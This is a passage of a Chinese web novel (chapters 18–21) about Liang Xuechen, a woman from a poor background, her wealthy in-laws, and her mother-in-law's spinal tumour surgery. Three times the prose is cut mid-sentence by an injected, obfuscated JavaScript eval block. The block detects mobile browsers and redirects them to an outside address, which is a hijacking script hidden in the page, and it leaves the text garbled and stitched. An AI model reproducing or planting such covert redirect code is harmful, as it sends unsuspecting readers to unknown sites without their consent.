认命对梁雪琛来说像吃饭一样简单,她从小学会的第一件事就是认命。 所以她在很小的时候就可以很快接受被亲生母亲抛弃,可以很快接受瘫痪的父亲不堪命运的折磨最终喝下农药。她也能平静地接受父亲去世之后奶奶的一病不起,更能接受爷爷在她高考后不久猝然离世。 对比曾经,现在的她实在拥有太多东西了。她只不过是如行尸走肉一般被命运推着向前,就莫名得到了太多根本就承受不起的好运。 每当她开始自以为看到了希望的时候,命运总会教她做人。命运教会她不能陷入好运的陷阱里太久,而忘了自己根本不该对任何东西抱有期待。 周五时梁雪琛请了一天假陪江美玲去看病。 她最讨厌的地方就是医院,提起医院唯一能想到的就是不断飘进鼻子里的刺鼻的消毒水味,在叫做“医院”的地方,她曾一次次听到她在乎的人们被宣告死亡。 她总觉得医院的地板是全世界最脏的东西,即使她曾经蹲在手术室外用手一遍遍擦地,手上也并没有沾上一丝灰尘。 “我的建议是尽快动手术对肿瘤进行切除。” 享誉国际的肿瘤专家郑柔教授与江美玲的年龄相仿,她将所有的检查报告仔细看了一遍,最终给出结论:“虽然你已经做了穿刺确认肿瘤是良性的,但毕竟是脊柱内肿瘤,太接近你的神经了,后期也有恶化的风险。我的建议还是通过手术尽可能将肿瘤切除。” 私家医院的装饰不像公立医院那样刻板,消毒水的味道似乎也没有那么浓,这让梁雪琛稍稍没那么抵触。 梁雪琛握住江美玲的手轻声问道:“郑教授,这个手术的风险大吗?” 郑教授似乎轻叹了一口气,顿了几秒后才回答道:“任何一台手术一定都是有风险的,更何况这个手术需要再脊椎里开刀。我只能向你们保证我会尽全力,也希望你们可以给我和我的团队信心。” “好的,郑教授你就替我安排手术吧。”江美玲反握住梁雪琛的手,另一只手拍了拍她的手背,“不用担心,没问题的。” 午饭前梁雪琛和江美玲已经回到了家里。 梁雪琛很忙,还有很多事情等着她做决策,但最近实在太忙碌了,她突然想给自己一个喘息的机会,因此没有销掉下午的假。 她知道在程珏心中母亲的分量有多大,所以刚从医院出来就给他打了个电话。 即使已经被告知手术安排在四月月初,有郑教授主刀,程珏仍然不停地追问细节。 在他的第六个电话打过来时,江美玲从梁雪琛手上抢过手机:“Alex,雪琛已经把她了解到的东西全都告诉你了,有什么其他的事儿等晚上你回来再聊。看到你这么一直问的样子,就算雪琛原本对我的病情充满信心,现在也要被你搞得坐立不安了。” 江美玲把手机挂断还给梁雪琛,婆媳俩相视一笑。 在所有程家人当中,梁雪琛唯独和江美玲相处时会感到十分轻松愉快。 她和江美玲的第一次见面纯属意外。 那时梁雪琛刚回国,她还不能确定自己和程珏算什么关系,也许可以算是好朋友,也可能只是在国外相互拥抱取暖的比陌生人更熟悉一些的熟人而已。 求学路上给了她许多照顾的大学班主任兼任学院助学基金会的负责人,基金会常常组织一些慈善晚宴,替家境贫寒的优秀学生筹集升学的赞助。作为基金会曾经或者说最大的受益者兼最有说服力的学生,梁雪琛常常被邀请到活动现场,代表受助学子对爱心人士表示感谢。 在一个下着暴雨的周末的傍晚,班主任打电话过来找梁雪琛帮忙。那天晚上有个慈善晚宴,原本安排好做分享的校友因为暴雨飞机延误,无法按时到场。 于是班主任拜托梁雪琛代替校友参加慈善晚宴。 她自然是二话不说赶到了会场。 可因为班主任电话里没交代清楚,到现场之后她才发现这是一场全员都需要穿礼服的宴会,即使是负责招待宾客的学生们也都穿上了小礼服,而她竟然只穿着简单的白色运动T恤就过来了。 “没关系没关系,其实这个晚宴并没有说一定要穿礼服,你能来就已经很好了。” 虽然班主任这么说,但在那样一个宴会上,梁雪琛的穿着还是显得过于格格不入。 在台上不卑不亢地发表了感谢和对其他与自己类似背景的学弟学妹们的祝福时,她仍然能感受到台下大多数人投来的怜悯的目光。 她讨厌这样的目光,但她也明白在现场的人物关系里,自己就是乞讨的一方。 一切都是既定的事实,如果这时候她再露出什么“有钱人有什么了不起”的神情,未免也太虚伪了。 “周老师,你这学生也太没礼貌了吧,在这样的场合穿得那么随便,她以为靠着我们的资助就真的能跨越阶级变成不一样的人吗?” 那是一个喝得微醺的年轻男人,他相貌姣好,全身上下却都透着一股高高在上的姿态。 他拦住梁雪琛回座的脚步,像看一个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071566|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 值钱的物品那样嫌弃地上下打量着她,似乎有没有礼服成了划分人类等级的标准。 男人的话引起现场小范围骚动,梁雪琛沉着气问道:“这位先生,社会主义社会存在阶级之分吗?” “哦?不存在吗?”那个人从服务员的托盘中拿起一杯酒一饮而尽,醉意越发明显。 他大笑了起来:“你们这些穷人像吸血鬼一样用道德来绑架我们,什么都要我们施舍你们,但你们却连最基本的参加宴会要穿礼服的尊重都不懂……” 梁雪琛抬头死死地瞪着这个醉鬼。 这不是她第一次受到这样居高临下的侮辱。如果是平时她一定会怼回去,但这是老师的晚宴,对方确实是某种意义的施舍者,而她是受益者,所以她不能搞砸这个晚宴。 即使“施舍”这个词语狠狠地刺痛了内心,她也要忍住。她二十多年的人生,确实是一直在被施舍中度过的。 施舍她的人,有些是真正富有同情心,有些则只是需要把她暴露在大庭广众之下好证明自己的乐善好施,而有些则像眼前这个人一样是不情愿但又迫不得已的作秀。 “金公子既然那么厌烦这样的场合,何必还来这里自找没趣呢?” 江美玲两只手分别拿着一杯香槟,慢慢走了过来,并将其中一杯递给梁雪琛。 看清说话的人后,男人露出谄媚的笑容,“原来是程夫人呐,我什么时候说过厌烦这样的场合了,只不过是提醒一下这种没有礼貌的人学会注意宴会礼仪而已。” “我倒是觉得人最大的礼貌是懂得尊重人,做不到这一点的话,其他所谓的礼貌就都算不上礼貌了。” 江美玲的声音温柔又坚定,她仔细看了几眼梁雪琛,仿佛认识对方。 “周老师,这个女孩子就是你一直提到的让你骄傲的学生吧?谁说寒门不能飞出金凤凰,这个小姑娘可不就是只金凤凰?” 班主任笑道:“雪琛是我最得意的学生之一,她特别上进,上个月才从美国毕业回来。 梁雪琛的求学经历,就是班主任坚持对贫困生资助的最好成果展示。 “原来你真的是从美国回来的梁雪琛。” 不知道是不是错觉,梁雪琛觉得江美玲突然两眼放光。 她听到她用十分愉悦的声音说道:“雪琛,你可以叫我江阿姨,我是程珏的妈妈。” 她还没反应过来时,江美玲又补充道:“不单周老师向我提过你,我们家Alex也常常说起你呢。他说他追了你那么久,你都没答应当他的女朋友。我让他带你回家让我给他助攻,他担心我把你吓着了,恐怕一直都没敢向你提起这件事吧?” 这话一出,不单让那个语言中充满冒犯的男人大吃一惊,也把梁雪琛搞糊涂了。 这都哪跟哪啊,程珏什么时候“追了她那么久”,又是什么时候她“都没答应当程珏的女朋友”了? 梁雪琛直到很久之后才后知后觉,从第一次见面起,江美玲就在所有人面前给足了她面子。 19. 第十九章 意外 梁雪琛久违地睡了一个长长的午觉,醒来的时候已经接近五点。 江美玲在花园里朝睡眼惺忪的梁雪琛招招手:“雪琛,睡得好吗?” 张妈也在花园里修剪玫瑰,王妈则在厨房做饭。 “妈,您怎么不在屋子里休息呀,外面也太晒了。”梁雪琛将头发随意扎起,走到江美玲身边,弯腰看花园里的花。 江美玲笑道:“我也才刚出来,这会儿的阳光最舒服了。“ 住在这个地方两年,梁雪琛从来没有仔细观察过花园里的植物。她只知道花园里最多的是玫瑰,玫瑰旁边种着向日葵,除了这两种植物之外,还有满地的太阳花。 刚搬进来时她就发现了这些太阳花,在她童年的记忆里,简陋的房子后面种满了这种不起眼的小花。 说是种,其实就是从学校大扫除时修剪下来的垃圾里捡了一些小芽回家,胡乱地扔在屋后的泥土里。那些太阳花的生命力如此顽强,很快就在屋后扎了根。 “你没发现吗,咱们深圳的家里也种了这个花。”江美玲蹲在梁雪琛的身边,轻抚一朵红色的太阳花,“午时花,也叫做太阳花,花语是热情勇敢,很多人觉得这个花像杂草一样渺小,但太阳花是Alex最喜欢的花。” “啊?他最喜欢太阳花?” 程珏曾在结婚一周年时送给梁雪琛一条太阳花项链,据说是找了知名设计师亲手设计的。 她记得他是这么说的:“我觉得你和太阳花很像,有很强的生命力,不管在哪里都可以很快适应环境。” “一般越渺小的东西越有生命力,因为它们需要比其他东西更坚强才能生存下来。” 梁雪琛并未深究礼物的意义,在她的第一反应里,太阳花的比喻更像是对她居高临下的怜悯。 她发现自己从没想过要去了解程珏的内心,从认识他的第一天起,这个人就是自己无比渴望的某些特征的具象化符号。 比如程珏拥有和睦的家庭,从不需要为金钱焦虑,他有良好的教养、有许多朋友、有事业和学历……他拥有梁雪琛能想象到的所有世间最奢侈的东西。 至于程珏本人的喜好、性格或是想法,她从来都不曾关心。 江美玲突然握住梁雪琛的双手问道:“雪琛,你老实告诉妈妈,你和Alex还好吗?” “妈,您怎么突然这么问?” “眼睛里的东西很难欺骗人,我看得出来你们之间不太对劲。Alex很在意身边的人,常常很纠结,所以有些优柔寡断。但他总害怕家人朋友为他担心,因此很多他觉得会伤害别人的话总喜欢埋在心底,可我很了解他,他再怎么掩饰我也能知道他的喜怒哀乐。雪琛啊,不是我偏心他,但妈妈希望你可以多给他一些包容。” 梁雪琛简直被江美玲的话惊掉下巴了,在她心中,程珏一直都是个无忧无虑的人,做事也很坚决果断,说什么就是什么,只有他影响别人的份儿,哪有别人影响他的道理呢? 见梁雪琛不回答,江美玲以为自己说中了她的心事,于是继续说道:“我看得出来,Alex最近对你总是欲言又止……雪琛,他从小就很会看身边人的眼色,很会讨大人们的欢心,如果对某个人表现出过多的不安,一定是太在意那个人的想法了,才会表现出不自信。你有任何想法的话,一定要直接一点告诉他,好吗?” 梁雪琛点头答应,心里却暗自好笑,江美玲描述的人,真的是她认识的程珏吗? 程安杰在上海出差的半个月里,梁雪琛每天都如履薄冰。 外人看到的是程安杰总是大大方方地在各种场合夸奖儿媳妇,只有梁雪琛一直战战兢兢,生怕自己哪里哪里不对,配不上程家的脸面。 与程珏的关系倒是因为江美玲的病情慢慢缓和下来,梁雪琛知道他很爱母亲,哪怕是听到江美玲不小心咳嗽一声,也担心她是不是哪里疼了痛了。 梁雪琛只见过程珏对两个人有着这种紧张,一个是江美玲,另一个则是韩祎。 大学时韩祎得了急性肠胃炎,正巧程珏在上海,他几乎失去了风度,惊慌失措的脚步撞倒了从病房走出来的梁雪琛。 “对不起,你没事儿吧?”他把她扶起来,公式化地完成一套完整的道歉礼仪,但他的心里眼里被病房里的人占满,以至于那么多年都没记起来当初撞到的是谁。 从那时候起,韩祎就成了梁雪琛最羡慕的人。 这世上有那么一个人的眼中只能看到你,于是周边的人或事都成了陪衬,于你而言是多么难得的幸福。 程安杰离开上海的第三天,意外还是发生了。 那天晚上江美玲在厨房向张妈学做甜点,仅仅是想转过身拿流理台上的模具,背后却突然传来刻骨的痛。 即使优雅如她,也忍不住尖叫了一声,然后整个人痛苦得蜷曲了起来。 梁雪琛第一时间从客厅跑过来,冷静地让赵叔叫救护车,联系了郑教授和程珏,最后还上楼快速收拾好江美玲的换洗衣物和必备的证件。 当程珏和韩祎赶到医院时,江美玲已在止痛药和镇定剂的作用下昏睡过去。 “看来癌细胞扩撒的速度还是比我们想象中的快了很多。”郑教授连夜带着团队对江美玲进行会诊,最终得出一个令人绝望的结论。“我的建议是用这两天的时间把她的身体状态调整好,最快两天后做手术吧。” 送走郑教授之后,一向沉着冷静的程珏瘫坐在病房外的长椅上,双手不自觉发抖起来。 张妈和王妈留下照顾江美玲,刚才出门得急,恐怕家里是一片狼藉了。 贺君昊的女儿生下来就有心脏问题,身体一直都不太好,正巧那天突然发烧,阿宸便先送韩祎回家,然后再和赵叔回去收拾厨房。 病房外只有梁雪琛陪在程珏身边。 她刚刚给程安杰和程淼都发了信息,程淼着急得把电话回了过来,仔细问了许多问题后才挂断。 而程安杰却只回了一行字:“知道了,我还在开会,辛苦你们先照顾她了。” “妈咪会没事儿吗?”程珏低头掩面,他知道梁雪琛也无法确定江美玲会不会平安,但他此时能够抓住的救命稻草只有身边的这个人。 梁雪琛握住他颤抖的手,用十分坚定的语气答道:“会没事的。” 程珏知道自己就像个无助的小男孩,提的问题实在有些可笑,忍不住自嘲道:“我真傻,你又不是医生,你怎么会知道呢?” “我是说真的。”梁雪琛紧紧抱住程珏,“我的预感特别准,所以我知道妈妈一定会没事的。” 第二天一大早, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071567|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程淼乘坐私人飞机从香港赶来,比其他人都更早到了医院。 面对乱了阵脚的一儿一女,江美玲显得非常冷静,她逗笑道:“你们都那么忙,让你们突然放下手中的工作,我总觉得自己罪过大了。” “妈咪,你在说什么话呢!”程淼此时虽然素面朝天,但与程珏相似的五官中仍然透着干练的气势。 “这世上没有任何东西比你更重要。” 在程安杰忙于工作的岁月里相依为命的母子三人,彼此间是世上最重要的存在。 “雪琛,你通知爸爸了吗,爸爸怎么说?”安抚完母亲,程淼偷偷将梁雪琛拉到一旁。 梁雪琛只好让程淼看了程安杰回复的信息。 程淼冷笑道:“是了,总是忙忙忙,当年外公外婆出事时他忙,所以没空来管我们,现在妈妈生那么大的病他还是忙。” 梁雪琛连忙解释道:“爸爸原本也是想留在上海等妈妈手术完之后再走的,但是妈妈说不要紧,让爸爸放心。” “雪琛,你知道爸爸为什么那么喜欢你吗?”程淼被梁雪琛的解释激怒,“因为你跟他一模一样,都是工作至上,都可以为了工作不顾一切,所以爸爸特别欣赏你。我想知道对你们这样的工作狂来说,还有什么比工作更重要的东西吗?” “好了姐,爸爸工作忙不能回来是他的问题,你跟雪琛置什么气呢。” 程珏把梁雪琛拉到身后。 江美玲也说道:“确实是我让你爸爸先去开会的,你也知道那个会很重要不是吗。我这边有郑教授在,不会有什么事儿的。” “妈咪,你又来了,你总是这样,一直说自己不会有事,就是不想我们担心。但你知不知道,你越说自己没事,我就越担心。” 程淼对江美玲非常上心,不停找医生询问病情,或是看看病房的温度舒服不舒服、空气中消毒水的味道会不会太重。 江美玲实在忍不住问道:“淼淼,你过来得那么匆忙,手上的工作都处理好了吗?” 程淼看了一眼梁雪琛,答道:“喏,我最近的工作就是雪琛手上那个选秀项目。本来我就打算找个时间来上海出差一趟,现在正好我们就在这里聊好了。” “行了,在病房有什么好聊的。你们要么回家要么去公司吧,我没事儿的,让我一个人好好休息,这里有你张妈在呢。” 江美玲让梁雪琛把她的一双儿女都带回去了。 梁雪琛自觉地让那对心急的姐弟两坐在后座上,自己则负责开车。 程淼边上车边抱怨道:“程珏,你是怎么回事,明明知道妈妈生病了,还让她在厨房干嘛呢?你知不知道生病的人是一点儿也不能操劳的。” 程珏反驳道:“你还说呢,你是不是老早就知道妈妈确诊了这个病了?你为什么不早点告诉我,让我提前安排好她在上海的行程呢?有什么事不能直接告诉我吗,还当我是那个一直要你们保护的小孩吗?” “那个……”梁雪琛打断了姐弟俩近乎争吵的对话,“我们直接回公司吗?” 程珏撇过头不说话,程淼深呼一口气让自己冷静,想了想答道:“回公司吧,你们那个方案我还有一一些不清楚的地方。下午我的助理会带着团队成员过来,我先和你把流程对清楚,他们来了可以直接做事。” 20. 第二十章 看客 程淼在“新声计划”项目中负责媒体对接的相关环节,有香港传媒大亨之子宋兆宁的家族关系在,这个工作自然不在话下。 她的突然到来让项目的相关对接人都感到措手不及。原本按照项目进度,程淼在半个月以后才会过来,谁知江美玲的病情让她的行程提前了。 在嘉程集团,无人不知大小姐严谨又凌厉的做事风格,同时对细节有着近乎完美的要求,在她的手下做事必须打起十二分精神。 除了中午有十五分钟的休息时间之外,会议已经持续了将近八个小时。 程淼依然保持着良好的工作状态,就连她口中的工作狂梁雪琛,也都有些头昏脑涨了。 “好,就按照我今天提到的这几个时间节点推进,和杂志社那边的对接工作你们也尽快吧。另外我提的几个点希望你们能在三天之后给我一个确切的答复。” 程淼把厚厚的资料递给助理姚薇茹。这个小姑娘毕业于香港中文大学,三年前在嘉程实习时被程淼看中,破格升任为嘉程集团香港分公司的总裁助理。 不同于父亲和弟弟严格遵守公司的晋升制度,程淼的管理原则中没有太强的上下等级观念。她不喜欢繁琐的晋升审核环节,也更热衷于提拔新人。 “薇茹,回头你再检查一下这些材料有没有问题,尤其是预算表上的数目。我明天应该不会来公司,后天也不一定。那么你有两天的时间来完成这些事,OK吗?” 姚薇茹点头回道:“两天的时间很充分,完全没有问题。” 程淼满意地笑道:“好,待会儿建一个群把大家都拉进去,有什么事大家在群里随时沟通。今天先散会吧,各位辛苦了。” 她又对从香港带过来的团队叮嘱道:“你们刚来上海就开那么久的会,辛苦了。今晚别加班,回酒店好好休息,有什么事明天再说。” 梁雪琛坐在程淼的身边,呆呆地看着大家走出会议室,不知不觉陷入了沉思。 听说程淼十八岁时就趁假期时间进入集团实习,在硕士毕业之前,就完成了集团所有一线岗位的至少一个月的轮岗,因此对基层工作十分熟悉,为后来对香港分公司大刀阔斧的改革奠定了基础。 有些人生来就站在了大部分人的终点线上,甚至许多人穷尽一生也未必能得到他们一年的经验。 “雪琛?”程淼疑惑地看着发呆的梁雪琛,玩笑道:“怎么了,在发什么呆,是开会开傻了吗?” “不……” “两位大忙人,可以下班了吗?我跟妈妈说我们去医院陪她吃完饭,刚好一一今晚也有空,和我们一起过去。” 程珏出现在会议室门外打断了二人的对话,韩祎跟在他的身边。 “嗯,今天没事了,走吧。” 程淼没继续理会梁雪琛,走出会议室和韩祎打招呼,梁雪琛连忙跟上。 “雪琛,你怎么了?”程珏拉住梁雪琛的手腕,“你的脸色怎么有点怪怪的,还好吗?” 程珏的声音让程淼也停下了脚步,她转回头问道:“是不是会议室不太通风,在里面待太久缺氧了?” “哦……应该是的吧。”梁雪琛敷衍了过去。 程珏放下心来,笑道:“待会儿我开车吧,你休息一会儿。” 梁雪琛和程淼坐进后座,韩祎则坐在了副驾驶上。程淼疑惑地看了一眼挨着自己坐的梁雪琛,最终却什么也没说。 其实在有第三人在场时,只要是程珏开车,梁雪琛基本上都不会坐在副驾驶上,无论这第三人是韩祎,又或是其他随便一个人。 窗外夜色渐浓,在昏暗的车厢内,程淼终于能放松下来,她闭目养神,右手轻按晴明穴。 也正是在这只有马路上的灯光飞快闪过的车厢内,梁雪琛才能大胆地打量程淼。 如果说江美玲的人生是梁雪琛最羡慕的人生,那么程淼则是梁雪琛心中最完美的人生。这样的人生,就算是梦里也不敢奢望得到。 程淼是父母的掌上明珠、嘉程集团的大小姐,一直在众人的宠爱中长大。即使父母辈遇到过一些挫折,她也从来都不会因此受到一丁点磨难。反而是这些挫折,让她得到更浓烈的亲情。 程淼在事业上颇有手腕,家庭背景和人生经历注定让她成为一个光彩熠熠的人,这种气质是普通人很难拥有的东西。 梁雪琛做过无数种假设,如果她不曾认识韩祎,或是韩祎没将程珏带入她的世界里,那么凭她自己的努力,在毕业几年的时候,根本连姚薇茹的总裁助理的位置也够不到。 所以公司里的风言风语——那些说梁雪琛是“高级外围女”的传言,从某些角度来看又何尝不是她能年纪轻轻就跻身集团高层的原因呢? 程珏突然问道:“你们觉得冷吗?” “不冷啊,”程淼漫不经心地回答,“你把空调打那么高,我都快热死了。” “那一一你把这件外套穿上吧,我就不再调温度了。” 这段把梁雪琛的思绪拉了回来,她看到程珏在等红灯时将搭在座椅靠背上的西装外套递给了韩祎,她看到韩祎接过外套,很自然地盖在了膝盖上,她看到两人相视一笑,笑容中充满属于青梅竹马的默契。 在这密闭的空间之内,梁雪琛又一次感受到了自己与旁人之间巨大的割裂感,她总像一个看客一样注视着别人。这些年来她一直努力突破这道屏障,但却慢慢发现一个来自不同世界的人,始终没办法融进这个陌生的世界里。 江美玲的手术排在第二天上午,早就到了术前禁止饮食的时间。程珏一行人仍然在病房里简单地吃了一顿,让江美玲放松心情。 晚饭过后,郑教授向姐弟俩进行术前告知,让他们签了一堆告知书和手术同意书。 “妈咪,明天早上我们都会准时来陪你的。刚刚Philip打给我说他到上海了,不过晴晴和欢欢要早睡,我就让他们先回家了。你别担心、别紧张,明天我们都在手术室外等你出来。” 程淼一遍遍重复相同的话,这些话更像是让自己冷静下来的说辞。 韩祎挨着江美玲坐下,撒娇道:“程妈妈,我的婚礼定在了5月2日,我一直把你当成我的亲生妈妈,你一定会手术成功,恢复好身体,然后来参加我的婚礼,你说好不好?” 江美玲知道韩祎和贺君昊的婚姻有多不被看好,前几天韩祎的父亲到程家做客,还特地提到这件事情,并委婉地请求程安杰不要参加这场婚礼。 即便如此,她还是慈爱地握住韩祎的手答道:“好,程妈妈答应你,会快点好起来,亲口祝我的宝贝一一幸福快乐。” 听到“婚礼”两个字,程珏露出一丝几乎无人察觉得到的苦笑。 婚礼的另一个主人公贺君昊刚好带女儿在附近吃饭,于是顺便过来把韩祎接回家。 这个孩子在出生时被确诊先天性心脏病,虽然及时做了手术,但仍然没有恢复到正常孩子的状态,于是贺君昊和韩祎将她好好地保护了起来。 她接触的人不多,程珏和梁雪琛是其中两个。 “舅舅……姨姨……” “馨馨真乖,下次舅舅带你吃冰淇淋好不好?”程珏逗逗扑进韩祎怀里的小朋友,贺君昊站一旁跟着女儿笑了起来。 然而时至今日程珏仍然觉得贺君昊并非韩祎的良人,对他自然也没什么好脸色。 韩祎简单地向贺君昊介绍了程淼,几人寒暄几句后贺君昊和韩祎带着女儿驱车离开。 “感觉这个贺君昊并没有传闻中的那样不学无术嘛。” 程淼的评价遭到程珏的白眼。 “啾啾!”车刚停稳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071568|163226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个肉乎乎的团子歪歪扭扭地跑过来抱住了程珏的大腿,要不是这个声音太过活力,梁雪琛还以为是贺予馨小朋友又出现了。 程珏把小外甥抱起来亲了一口,笑道:“欢欢,你什么时候到的,爸爸呢?” 两岁多的宋至欢沉浸在和舅舅见面的喜悦中,哪里管什么问题。 “爸爸在那里。”古灵精怪的大外甥女宋至晴淡定地指向正门的方向,接着非常不淡定地跑到另一边踮起脚伸手紧紧抱住梁雪琛的腰:“舅妈我好想你,你过年怎么都没回香港给我过生日呢?” 梁雪琛的心被软软的撒娇声融化了,蹲下来抱住刚满五岁的宋至晴柔声道:“对不起嘛,舅妈再给你买个超大的阿彪赔罪,晴晴就原谅舅妈嘛,好不好?” 程淼看到一双宝贝儿女完全无视了自己,装作生气道:“看到舅舅舅妈你们就想不起妈咪了对吧,以后你们就喊舅妈作妈咪好了,我不理你们了。” “你平时把他们管得那么严,小朋友当然知道跟谁在一起开心啊。” 宋兆宁不知什么时候懒洋洋地靠在门框上。 “姐夫,你们刚到吗?”梁雪琛把宋至晴抱起来往家里走,经过宋兆宁时微微点头。 “是啊,刚刚到家,给妈妈打了电话,她说你们已经回来了。” 宋兆宁身上有很典型的花花公子气息,一双桃花眼看谁都充满柔情。 梁雪琛并不喜欢和他对话,总觉得这个人太喜欢游戏人间,她无力招架这样的类型。 事实上,宋兆宁的各种花边新闻也从来没有断过,但仅限于坊间传闻。身为传媒大亨的接班人,他的负面新闻又怎么会出现主流媒体中呢? 只要没有传出实质性的新闻,程淼的事业和家庭就不会受到任何影响,她也因此不会太过在意。 连故事的女主人公都不深究的事情,再多的传闻又如何。 至少宋兆宁给足了程淼面子,在外人看来总是一副乖乖女婿的模样。 宋兆宁搭着妻子的肩膀跟在梁雪琛身后走进房子里。 “舅妈,今晚我可以跟你睡吗?”宋至晴紧紧搂着梁雪琛的脖子,在她耳边撒娇。“上次舅妈在视频里跟我说的故事还没说完呢,我还想听。” “过两天再听。”程珏将宋至欢交给随行而来的育儿嫂红姐,接着从梁雪琛怀里抱过宋至晴,“明天婆婆要做手术了,我们都要早起去医院陪婆婆。晴晴那么喜欢婆婆,绝对不能睡过头对不对?所以今晚就不能听故事啦。” 宋至晴委屈地看着舅舅,嘟囔道:“那等婆婆好起来之后舅妈可以跟我睡吗?” 程珏逗她道:“不可以,舅妈是舅舅的,晴晴抢不走。” 宋至晴快哭出来了:“才不是呢,舅妈是我的舅妈,又不是你的舅妈!” 程珏还想逗几句,被梁雪琛重新抢过来抱着。“晴晴乖,等婆婆好了,舅妈就跟你说好多好多的故事,但是今天你先跟琴姨去睡好不好?” 她亲了一口外甥女的小脸,又安慰道:“晴晴是不是刚洗完香香呀,舅妈都闻到你的香味了。但你要笑一笑才像个公主哟,像现在这样不笑的话就像个小老太了。” 另一个育儿嫂琴姐接过宋至晴回二楼客房去了。 程淼长叹道:“明明都是我生的,平时离你们也远着呢,可不知道为什么他们就特别喜欢你们,真是想不通。” “这有什么想不通的,雪琛和Alex都比你有耐心,小朋友们喜欢有耐心的大人。” 宋兆宁慢慢地吐槽,惹来了程淼的怒视。他连忙转话题道:“Alex,既然你们都这么喜欢小朋友,什么时候打算生个BB呀。我打赌,你们绝对是一对好父母。” 梁雪琛笑而不语,程珏看了她一眼,似乎有什么想说的,最终却什么都没说。 21. 第二十一章 孩子 梁雪琛擦着湿漉漉的头发走出浴室时,就看到程珏靠坐在床上发呆,手上拿着仍然停留在搜索网站上的平板电脑。 任何一台手术都有成功与失败的概率,但对于个体而言,只有硬币的正反面两种结果。在工作中程珏是个敢于冒险的人,且具有一个成功的商人应有的接受高风险获得高收益的挑战精神,但是放在家人身上,就算手术只有百分之一的失败几率,也足以他感到害怕。 更何况这个手术并不简单。 梁雪琛在他的身边坐下,暂时放下了这段时间的所有怨怼,柔声问道:“程珏,你还好吗?” “哦,我没事儿……没事儿的。”程珏控制住焦虑的情绪,自然地拿过梁雪琛手中的吹风机,“来,我帮你把头发吹干吧。” 梁雪琛坐在梳妆台前,从镜子里看到程珏细心地帮她吹头发。 他的指尖很轻柔,她的发丝在他的手心里似乎变成了世上最珍贵的宝贝。 他没有说话,她便也安静地看着他。 看着程珏的动作,梁雪琛突然想起了刚才宋兆宁开的玩笑——“什么时候打算生个BB呀”,什么时候打算生个孩子呢,从结婚时,这个话题好像就成了两人间的禁忌。 除了程珏,这个家里没有人知道梁雪琛曾经怀过一个孩子。 那是他们回国后关系渐渐露出水面、被莫名其妙和贺君昊领了证的韩祎接受时,意外降临的一个连性别都还来不及知道的孩子。 那时的梁雪琛还处于完全没有和程珏成为恋人的实感中,要不是在慈善晚宴上遇到江美玲,这段关系不会被迫公开。 或者准确点说,他们对彼此而言只是在异国他乡互相取暖的存在,或许是太过于习惯这种存在,才会在回国之后也没有停止往来。于是两人把这种关系用他人眼中的“恋人关系”的形式延续了下去。 等到程珏哪天要收心决定踏入一段婚姻时,她想她一定会彻底退出他的世界。 虽然没有真正经历过,但梁雪琛知道豪门讲究的是门当户对,她和程珏的家庭背景有着云泥之别。就像文学作品描写的那样,就像影视剧中演绎的那样,就像现实中那么多豪门爆出的小道八卦那样,公子哥们年轻时玩一玩没什么要紧的,可真正要结婚一定会选择一个同样的出身的结婚对象。 那个孩子的意外到来让梁雪琛感到恐惧。 她害怕这个意外会打破所有的平衡,也会叫醒她贪婪的美梦,她和他便再也回不到可以让她故作潇洒的关系里了。 梁雪琛不敢告诉韩祎和景安安——她们一定会为她出头,用道德逼迫程珏被动接受。 纠结了好几天之后,蹩脚的借口再也瞒不住程珏对她反常情绪的怀疑,终于在追问下将这件事和盘托出。 梁雪琛自知僭越了某一条界线,也做好了被程家要求拿掉孩子、甚至像电视剧里那样给她一笔钱让她从此消失的准备。 然而程珏的反应并不在她的意料之内。 他呆呆地盯了好久她仍然平坦的小腹,久到她觉得自己正在接受凌迟。在煎熬的十几秒之后,她被紧紧抱住。 “雪琛,我们有孩子了吗,我们真的有孩子啦?你的意思是,我就要当爸爸啦!”程珏的快乐在周围的空气中流动。 “雪琛,我们结婚吧。”程珏的语气非常坚定,让梁雪琛有了也许他们俩比想象中的更相爱的错觉。“嫁给我吧,我们一起给孩子一个家。” 程珏不想让父母误会梁雪琛用孩子作为婚姻的筹码,于是他暂时跟父母说的理由是他们到了该结婚的年纪,所以打算结婚了。 事情的发展远比梁雪琛想象的顺利,即使还没有提到孩子的存在,程家也并没有演出“给你一百万,请你立刻离开我儿子”的戏码。 他们就像天底下所有水到渠成进入婚姻殿堂的情侣们一样,把结婚前该有的流程都走了一遍。 拍婚纱照时,程珏小心翼翼地抚上梁雪琛的小腹,那一刻他们都在期待新生命的到来。 拍完婚纱照的第二天,两人在上海领了证,成为法律意义上真正的夫妻。 